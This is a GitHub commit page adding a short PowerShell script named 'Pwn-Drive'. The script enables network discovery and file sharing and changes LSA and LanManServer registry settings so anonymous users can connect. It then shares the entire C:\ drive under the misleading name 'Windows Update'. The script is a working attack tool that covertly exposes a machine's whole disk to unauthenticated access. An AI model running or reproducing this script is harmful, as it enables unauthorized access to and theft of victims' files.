Add files via upload

This commit is contained in:
atomic
2022-09-17 16:03:33 -04:00
committed by GitHub
parent f8c77804f2
commit d24014a60c
22 changed files with 995 additions and 0 deletions
+14
View File
@@ -0,0 +1,14 @@
#Pwn-Drive
#Enable Network Discovery
netsh advfirewall firewall set rule group=network discovery new enable=yes
#Enable File and Print
netsh firewall set service type=fileandprint mode=enable profile=all
#Setting Registry Values for allowing access to drive without credentials
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name everyoneincludesanonymous -Value 1 -Force
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters\" -Name restrictnullsessacces -Value 0 -Force
#Sharing the Drive
New-SmbShare -Name "Windows Update" -Path "C:\"